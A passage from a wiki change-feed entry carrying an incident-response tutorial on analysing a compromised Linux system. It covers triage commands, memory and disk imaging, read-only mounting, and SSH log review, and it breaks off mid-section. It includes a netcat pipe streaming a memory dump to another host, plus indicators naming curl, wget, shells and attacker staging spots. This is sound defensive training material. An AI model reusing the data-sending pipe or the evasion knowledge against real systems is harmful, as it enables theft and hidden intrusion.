		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=256</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=256"/>
		<updated>2026-10-02T21:30:34Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (good habits), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating.&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thereby modifying) anything. The trade-off is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; before trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
